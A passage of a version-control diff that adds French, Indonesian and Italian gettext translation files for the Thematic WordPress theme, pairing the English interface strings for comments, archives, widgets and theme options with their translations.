c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:73 +msgid "The 1st widget area in the footer." +msgstr "La 1ère zone de widgets du pied de page." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:88 +msgid "The 2nd widget area in the footer." +msgstr "La 2ème zone de widgets du pied de page." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:103 +msgid "The 3rd widget area in the footer." +msgstr "La 3ème zone de widgets du pied de page." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:118 +msgid "The top widget area displayed on the index page." +msgstr "La zone de widgets supérieure affichée sur la page d'accueil." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:133 +msgid "The widget area inserted after x posts on the index page." +msgstr "La zone de widgets insérée après x articles sur la page d'accueil." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:148 +msgid "The bottom widget area displayed on the index page." +msgstr "La zone de widgets inférieure affichée sur la page d'accueil." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:163 +msgid "The top widget area displayed on a single post." +msgstr "La zone de widgets supérieure affichée dans un article." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:178 +msgid "The widget area inserted between the post and the comments on a single post." +msgstr "La zone de widgets insérée entre l'article et les commentaires dans un article." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:193 +msgid "The bottom widget area displayed on a single post." +msgstr "La zone de widgets inférieure affichée dans un article." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:208 +msgid "The top widget area displayed on a page." +msgstr "La zone de widgets supérieure affichée dans une page." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:223 +msgid "The bottom widget area displayed on a page." +msgstr "La zone de widgets inférieure affichée dans une page." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:283 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets.php:55 +msgid "Meta" +msgstr "Méta" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:285 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:286 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets.php:72 +msgid "RSS Links" +msgstr "Liens RSS" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets.php:77 +msgid "All posts" +msgstr "Tous les articles" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets.php:78 +msgid "All comments" +msgstr "Tous les commentaires" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets.php:96 +msgid "Title:" +msgstr "Titre :" + +#~ msgid "definitions created." +#~ msgstr " : fichier de définitions créé." +#~ msgid "failed to create directory:" +#~ msgstr "n'a pas pu créer le répertoire :" +#~ msgid "failed to create the file:" +#~ msgstr "n'a pas pu créer le fichier :" +#~ msgid "Create Definitions" +#~ msgstr "Créer le fichier de définitions" +#~ msgid "Pages" +#~ msgstr "Pages" +#~ msgid "Categories" +#~ msgstr "Catégories" +#~ msgid "Archives" +#~ msgstr "Archives" +#~ msgid "RSS Feeds" +#~ msgstr "Flux RSS" +#~ msgid "Site Meta" +#~ msgstr "Méta du site" +#~ msgid "Blog Index" +#~ msgstr "Index du blog" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/languages/id_ID.mo Binary file web/wp-content/themes/thematic/library/languages/id_ID.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/languages/id_ID.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/library/languages/id_ID.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,406 @@ +msgid "" +msgstr "" +"Project-Id-Version: Thematic 0.8\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2008-01-18 21:54+0100\n" +"PO-Revision-Date: 2009-01-19 23:17-0800\n" +"Last-Translator: Kate Mag \n" +"Language-Team: \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Indonesian\n" +"X-Poedit-Country: Indonesia\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: __;_e\n" +"X-Poedit-Basepath: .\n" +"X-Poedit-SearchPath-0: .\n" + +#: 404.php:10 +msgid "Apologies, but we were unable to find what you were looking for. Perhaps searching will help." +msgstr "Maaf, tidak dapat menemukan yang anda cari. Gunakan kotak pencarian" + +#: 404.php:15 +#: search.php:58 +msgid "Find" +msgstr "Temukan" + +#: archive.php:16 +#, php-format +msgid "Daily Archives: %s" +msgstr "Arsip Harian: %s" + +#: archive.php:18 +#, php-format +msgid "Monthly Archives: %s" +msgstr "Arsip Bulanan: %s" + +#: archive.php:20 +#, php-format +msgid "Yearly Archives: %s" +msgstr "Arsip Tahunan: %s" + +#: archive.php:22 +msgid "Blog Archives" +msgstr "Arsip Blog" + +#: archive.php:31 +#: archive.php:53 +#: author.php:21 +#: author.php:56 +#: category.php:20 +#: category.php:42 +#: index.php:17 +#: index.php:49 +#: search.php:21 +#: search.php:43 +msgid "« Older posts" +msgstr "« Artikel sebelumnya" + +#: archive.php:32 +#: archive.php:54 +#: author.php:22 +#: author.php:57 +#: category.php:21 +#: category.php:43 +#: index.php:18 +#: index.php:50 +#: search.php:22 +#: search.php:44 +msgid "Newer posts »" +msgstr "Artikel terbaru »" + +#: archive.php:41 +#: attachment.php:20 +#: author.php:44 +#: category.php:30 +#: index.php:30 +#: search.php:31 +msgid "Read More »" +msgstr "Baca berikutnya »" + +#: archives.php:20 +msgid "Archives by Category" +msgstr "Arsip berdasarkan Kategori" + +#: archives.php:26 +msgid "Archives by Month" +msgstr "Arsip berdasarkan Bulan" + +#: archives.php:32 +#: comments.php:39 +#: comments.php:65 +#: links.php:20 +#: page.php:16 +msgid "Edit" +msgstr "Ubah" + +#: attachment.php:22 +#: index.php:32 +msgid "Pages:" +msgstr "Halaman:" + +#: author.php:15 +msgid "Author Archives: " +msgstr "Arsip Pengarang: " + +#: author.php:33 +msgid "Email " +msgstr "E-Mail " + +#: category.php:13 +msgid "Category Archives:" +msgstr "Kategori Arsip:" + +#: comments.php:9 +msgid "This post is password protected. Enter the password to view any comments." +msgstr "Post ini diproteksi password. Masukkan password untuk meliha semua komentar." + +#: comments.php:28 +#, php-format +msgid "%d Comments" +msgstr "%d Komentar" + +#: comments.php:28 +msgid "One Comment" +msgstr "Satu Komentar" + +#: comments.php:35 +#, php-format +msgid "Posted %1$s at %2$s | Permalink" +msgstr "Ditulis %1$s pada %2$s | Permanent-Link" + +#: comments.php:40 +msgid "\t\t\t\t\tYour comment is awaiting moderation.\n" +msgstr "\t\t\t\t\tKomentar anda menunggu moderasi\n" + +#: comments.php:54 +#, php-format +msgid "%d Trackbacks" +msgstr "%d Trackbacks" + +#: comments.php:54 +msgid "One Trackback" +msgstr "Ein Trackback" + +#: comments.php:61 +#, php-format +msgid "By %1$s on %2$s at %3$s" +msgstr "Oleh %1$s waktu %2$s tempat %3$s" + +#: comments.php:66 +msgid "\\t\\t\\t\\t\\tYour trackback is awaiting moderation.\\n" +msgstr "\\t\\t\\t\\t\\tTrackback anda menunggu moderasi.\\n" + +#: comments.php:79 +msgid "Post a Comment" +msgstr "Tulis sebuah Komentar" + +#: comments.php:82 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "Anda harus login untuk berkomentar." + +#: comments.php:90 +#, php-format +msgid "Logged in as %2$s. Log out?" +msgstr "Masuk sebagai %2$s. Keluar?" + +#: comments.php:97 +msgid "Your email is never published nor shared." +msgstr "Email anda tidak pernah dipublikasikan" + +#: comments.php:97 +msgid "Required fields are marked *" +msgstr "Bagian yang diperlukan bertanda *" + +#: comments.php:100 +msgid "Name" +msgstr "Nama" + +#: comments.php:100 +#: comments.php:105 +msgid "*" +msgstr "*" + +#: comments.php:105 +#, fuzzy +msgid "Email" +msgstr "E-Mail" + +#: comments.php:110 +msgid "Website" +msgstr "Website" + +#: comments.php:117 +msgid "Comment" +msgstr "Komentar" + +#: comments.php:123 +msgid "Post Comment" +msgstr "Buat Komentar" + +#: header.php:22 +msgid "Posts RSS feed" +msgstr "RSS Feed Artikel" + +#: header.php:23 +msgid "Comments RSS feed" +msgstr "RSS Fee Komentar" + +#: header.php:44 +msgid "Skip navigation to the content" +msgstr "Tidak menggunakan navigasi ke isi" + +#: header.php:44 +msgid "Skip to content" +msgstr "Langsung ke isi" + +#: page.php:14 +msgid "Pages: " +msgstr "Halaman: " + +#: search.php:15 +msgid "Search Results for:" +msgstr "Hasil pencarian untuk:" + +#: search.php:51 +msgid "Nothing Found" +msgstr "Tidak Menemukan" + +#: search.php:53 +msgid "Sorry, but nothing matched your search criteria. Please try again with some different keywords." +msgstr "Maaf, tidak ada yang sesuai dengan kriteria pencarian. Coba lagi dengan keyword berbeda" + +#: sidebar.php:5 +#: sidebar.php:9 +#: library/functions/widgets.php:16 +#: library/functions/widgets.php:23 +#: library/functions/widgets.php:200 +msgid "Search" +msgstr "Cari" + +#: sidebar.php:15 +msgid "Pages" +msgstr "Halaman" + +#: sidebar.php:22 +msgid "Categories" +msgstr "Ketegori" + +#: sidebar.php:30 +msgid "Archives" +msgstr "Arsip" + +#: sidebar.php:47 +msgid "RSS Feeds" +msgstr "RSS Feed" + +#: sidebar.php:49 +#: library/functions/widgets.php:57 +msgid "All posts" +msgstr "Semua artikel" + +#: sidebar.php:50 +#: library/functions/widgets.php:58 +msgid "All comments" +msgstr "Semua komentar" + +#: sidebar.php:55 +#: library/functions/widgets.php:35 +#: library/functions/widgets.php:202 +msgid "Meta" +msgstr "Meta" + +#: tag.php:13 +msgid "Tag Archives:" +msgstr "Arsip Tag:" + +#: library/functions/hooks-filters.php:26 +msgid "Not Found" +msgstr "Tidak Ketemu" + +#: library/functions/hooks-filters.php:31 +#: library/functions/hooks-filters.php:115 +msgid "Permalink to " +msgstr "Permalink untuk" + +#: library/functions/hooks-filters.php:39 +msgid "By " +msgstr "Oleh" + +#: library/functions/hooks-filters.php:41 +msgid "View all posts by " +msgstr "Tampilkan semua artikel oleh" + +#: library/functions/hooks-filters.php:65 +msgid "Edit post" +msgstr "Ubah Artikel" + +#: library/functions/hooks-filters.php:72 +msgid "This entry was posted in " +msgstr "Entri ini dipublikasikan di" + +#: library/functions/hooks-filters.php:75 +msgid "Also posted in " +msgstr "Juga dipublikasikan di " + +#: library/functions/hooks-filters.php:78 +msgid "Posted in " +msgstr "Dipublikasikan di" + +#: library/functions/hooks-filters.php:84 +msgid " and tagged" +msgstr "dan ditag" + +#: library/functions/hooks-filters.php:87 +msgid " Also tagged " +msgstr "juga ditag" + +#: library/functions/hooks-filters.php:89 +msgid "Tagged" +msgstr "Tag" + +#: library/functions/hooks-filters.php:97 +#: library/functions/hooks-filters.php:100 +#: library/functions/hooks-filters.php:103 +msgid "Comment on " +msgstr "Komentar kepada" + +#: library/functions/hooks-filters.php:98 +msgid " Comments" +msgstr "Komentar-komentar" + +#: library/functions/hooks-filters.php:101 +msgid " Comment" +msgstr " KoKomentar" + +#: library/functions/hooks-filters.php:104 +msgid "Leave a comment" +msgstr "Tulis sebuah komentar" + +#: library/functions/hooks-filters.php:107 +msgid "Comments closed" +msgstr "Komentar ditutup" + +#: library/functions/hooks-filters.php:115 +msgid ". Bookmark the " +msgstr "Bookmark" + +#: library/functions/hooks-filters.php:116 +msgid "permalink" +msgstr "Permanent-Link" + +#: library/functions/hooks-filters.php:118 +#: library/functions/hooks-filters.php:126 +msgid "Post a comment" +msgstr "Tulis sebuah Komentar" + +#: library/functions/hooks-filters.php:119 +msgid " or leave a trackback: " +msgstr "Tinggalkan trackback" + +#: library/functions/hooks-filters.php:120 +#: library/functions/hooks-filters.php:123 +msgid "Trackback URL for your post" +msgstr "Trackback-URL dari artkel anda" + +#: library/functions/hooks-filters.php:120 +#: library/functions/hooks-filters.php:123 +msgid "Trackback URL" +msgstr "Trackback-URL" + +#: library/functions/hooks-filters.php:122 +msgid " Comments are closed, but you can leave a trackback: " +msgstr "Komentar ditutup, tapi anda dapat meninggalkan trackback:" + +#: library/functions/hooks-filters.php:125 +msgid " Trackbacks are closed, but you can " +msgstr "Trackbacks ditutup, tapi anda dapat" + +#: library/functions/hooks-filters.php:126 +msgid "post a comment" +msgstr "tulis sebuah komentar" + +#: library/functions/hooks-filters.php:128 +msgid " Both comments and trackbacks are currently closed." +msgstr "Komentar dan trackbacks ditutup" + +#: library/functions/theme-options.php:199 +msgid "For more information about this theme, visit ThemeShaper. Please visit the ThemeShaper Forums if you have any questions about Thematic." +msgstr "Informasi lanjut tentang theme, kunjungi ThemeShaper. Silahkan kunjungi pulsa Forum ThemeShaperjika ada pertanyaan tentang Thematic" + +#: library/functions/widgets.php:52 +#: library/functions/widgets.php:204 +#: library/functions/widgets.php:205 +msgid "RSS Links" +msgstr "Link-Link RSS" + +#: library/functions/widgets.php:76 +msgid "Title:" +msgstr "Judul:" + +#: library/functions/widgets.php:199 +msgid "Blog Index" +msgstr "Blog Indeks" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/languages/it_IT.mo Binary file web/wp-content/themes/thematic/library/languages/it_IT.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/languages/it_IT.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/library/languages/it_IT.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,529 @@ +msgid "" +msgstr "" +"Project-Id-Version: \n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2010-02-18 20:58+0100\n" +"PO-Revision-Date: \n" +"Last-Translator: Chris Gossmann \n" +"Language-Team: \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/archives.php:42 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/links.php:53 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/page.php:40 +msgid "Edit" +msgstr "Modifica" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/attachment.php:39 +msgid "Pages:" +msgstr "Pagine:" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/author.php:53 +msgid "Email " +msgstr "Email" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:10 +msgid "This post is password protected. Enter the password to view any comments." +msgstr "Questo articolo è protetto da password. Inserisci la tua password per accedere ai commenti." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:52 +#, php-format +msgid "%d Trackbacks" +msgstr "%d Trackbacks" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:52 +msgid "One Trackback" +msgstr "Un Trackback" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:72 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "Devi esssere autenticato per scrivere un commento." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:83 +#, php-format +msgid "Logged in as %2$s. Log out?" +msgstr "Autenticato come %2$s. Esci?" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:90 +msgid "Your email is never published nor shared." +msgstr "Il tuo indirizzo Email non verra' mai pubblicato e/o condiviso." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:90 +msgid "Required fields are marked *" +msgstr "I campi obbligatori sono contrassegnati con *" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:93 +msgid "Name" +msgstr "Nome" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:93 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:98 +msgid "*" +msgstr "*" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:98 +msgid "Email" +msgstr "Email" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:103 +msgid "Website" +msgstr "Sito Web" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:115 +msgid "You may use these HTML tags and attributes:" +msgstr "Puoi usare questi HTML tag e attributi:" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/page.php:38 +msgid "Pages: " +msgstr "Pagine: " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/search.php:41 +msgid "Nothing Found" +msgstr "Nessun Risultato" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/search.php:43 +msgid "Sorry, but nothing matched your search criteria. Please try again with some different keywords." +msgstr "Nessun risultato per i termini utilizzati. Prova ancora con termini differenti." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/search.php:48 +msgid "Find" +msgstr "Trova" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/comments-extensions.php:76 +msgid "One Comment" +msgstr "Un Commento" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/comments-extensions.php:83 +#, php-format +msgid "%d Comments" +msgstr "%d Commenti" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/comments-extensions.php:96 +msgid "Post a Comment" +msgstr "Scrivi un Commento" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/comments-extensions.php:103 +#, php-format +msgid "Post a Reply to %s" +msgstr "Rispondi a %s" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/comments-extensions.php:110 +msgid "Comment" +msgstr "Commenta" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/comments-extensions.php:117 +msgid "Post Comment" +msgstr "Commenta" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:147 +msgid "Author Archives: " +msgstr "Archivio dell' Autore: " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:153 +msgid "Category Archives:" +msgstr "Archivo delle Categorie:" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:162 +msgid "Search Results for:" +msgstr "Risultato della ricerca per:" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:168 +msgid "Tag Archives:" +msgstr "Archivio delle etichette:" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:174 +#, php-format +msgid "Daily Archives: %s" +msgstr "Archivio Giornaliero: %s" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:178 +#, php-format +msgid "Monthly Archives: %s" +msgstr "Archivio Mensile: %s" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:182 +#, php-format +msgid "Yearly Archives: %s" +msgstr "Archivio Annuale: %s" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:186 +msgid "Blog Archives" +msgstr "Archivi del Blog" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:209 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:725 +msgid "« Older posts" +msgstr "« Articoli Precedenti" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:210 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:726 +msgid "Newer posts »" +msgstr "Articoli successivi »" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:394 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:618 +msgid "Edit post" +msgstr "Modifica articolo" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:406 +msgid "Not Found" +msgstr "Non Trovato" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:411 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:686 +msgid "Permalink to " +msgstr "Link permanente a " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:441 +msgid "By " +msgstr "Scritto da " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:444 +msgid "View all posts by " +msgstr "Leggi tutti gli articoli scritti da " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:455 +msgid "Published: " +msgstr "Pubblicato: " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:523 +msgid "Archives by Category" +msgstr "Archivio per Categorie" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:534 +msgid "Archives by Month" +msgstr "Archivio per Mese" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:562 +msgid "Apologies, but we were unable to find what you were looking for. Perhaps searching will help." +msgstr "Ci dispiace, ma quello che cercavi non è stato trovato. Prova con la ricerca." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:578 +msgid "Read More »" +msgstr "Continua a leggere »" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:629 +msgid "This entry was posted in " +msgstr "Questo articolo è stato pubblicato in " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:632 +msgid "Also posted in " +msgstr "Pubblicato anche in " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:635 +msgid "Posted in " +msgstr "Pubblicato in " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:646 +msgid " and tagged" +msgstr " e ha le etichette" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:649 +msgid " Also tagged " +msgstr " Altre etichette" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:651 +msgid "Tagged" +msgstr "Etichette:" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:663 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:666 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:669 +msgid "Comment on " +msgstr "Commenta " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:664 +msgid " Comments" +msgstr " Commenti" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:667 +msgid " Comment" +msgstr " Commento" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:670 +msgid "Leave a comment" +msgstr "Scrivi un commento" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:673 +msgid "Comments closed" +msgstr "Commenti chiusi" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:686 +msgid ". Bookmark the " +msgstr ". Aggiungi ai preferiti: " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:687 +msgid "permalink" +msgstr "link permanente" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:689 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:697 +msgid "Post a comment" +msgstr "Scrivi un commento" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:690 +msgid " or leave a trackback: " +msgstr " o lascia un trackback: " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:691 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:694 +msgid "Trackback URL for your post" +msgstr "Trackback URL per il tuo articolo" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:691 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:694 +msgid "Trackback URL" +msgstr "Trackback URL" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:693 +msgid " Comments are closed, but you can leave a trackback: " +msgstr " I commenti sono chiusi ma puoi lasciare un trackback: " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:696 +msgid " Trackbacks are closed, but you can " +msgstr " I trackbacks sono chiusi ma puoi " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:697 +msgid "post a comment" +msgstr "scrivi un commento" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:699 +msgid " Both comments and trackbacks are currently closed." +msgstr " I commenti ed i trackbacks sono attualmente chiusi." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/discussion.php:10 +#, php-format +msgid "Posted %1$s at %2$s | Permalink" +msgstr "Pubblicato %1$s alle %2$s | Link Permanente" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/discussion.php:15 +msgid "\t\t\t\t\tYour comment is awaiting moderation.\n" +msgstr "\t\t\t\t\tIl tuo commento è in attesa di autorizzazione.\n" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/discussion.php:22 +msgid "Reply" +msgstr "Rispondi" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/discussion.php:23 +msgid "Log in to reply." +msgstr "Per rispondere devi essere autenticato." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/discussion.php:37 +#, php-format +msgid "By %1$s on %2$s at %3$s" +msgstr "Scritto da %1$s il %2$s alle %3$s" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/discussion.php:42 +msgid "\\t\\t\\t\\t\\tYour trackback is awaiting moderation.\\n" +msgstr "\\t\\t\\t\\t\\tIl tuo trackback è in attesa di autorizzazione.\\n" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/header-extensions.php:251 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets.php:77 +msgid "Posts RSS feed" +msgstr "Feed RSS Articoli" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/header-extensions.php:269 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets.php:78 +msgid "Comments RSS feed" +msgstr "Feed RSS Commenti" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/header-extensions.php:401 +msgid "Skip navigation to the content" +msgstr "Salta la navigazione e vai al contenuto" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/header-extensions.php:401 +msgid "Skip to content" +msgstr "Vai al contenuto" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/helpers.php:31 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/helpers.php:44 +msgid "There is no excerpt because this is a protected post." +msgstr "Non esiste un riassunto poiche' questo articolo e' protetto." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/shortcodes.php:16 +msgid "Login" +msgstr "Entra" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/shortcodes.php:18 +msgid "Logout" +msgstr "Esci" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:13 +msgid "Index Insert Position" +msgstr "Inserisci la posizione della pagina INDEX" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:14 +msgid "The widgetized Index Insert will follow after this post number." +msgstr "La widget INDEX INSERT apparirà dopo il numero di articoli qui indicato." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:19 +msgid "Info on Author Page" +msgstr "Informazioni sull'Autore della Pagina" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:20 +msgid "Display a microformatted vCard—with the author's avatar, bio and email—on the author page." +msgstr "Mostra una microformatted vCard—con l'avatar dell'auore, la sua biografia e indirizzo email - nella pagina dell'autore." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:25 +msgid "Text in Footer" +msgstr "Testo del Footer" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:26 +msgid "You can use the following shortcodes in your footer text: [wp-link] [theme-link] [loginout-link] [blog-title] [blog-link] [the-year]" +msgstr "Puoi usare i seguenti shortcodes nel footer: [wp-link] [theme-link] [loginout-link] [blog-title] [the-year]" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:28 +msgid "Powered by [wp-link]. Built on the [theme-link]." +msgstr "Powered by [wp-link]. Realizzato con [theme-link]." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:75 +msgid "settings saved." +msgstr "impostazioni salvate." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:76 +msgid "settings reset." +msgstr "impostazioni ripristinate." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:77 +msgid "widgets reset." +msgstr "widget ripristinate." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:190 +msgid "Save changes" +msgstr "Salva le modifiche" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:196 +msgid "Reset" +msgstr "Ripristina" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:202 +msgid "Reset Widgets" 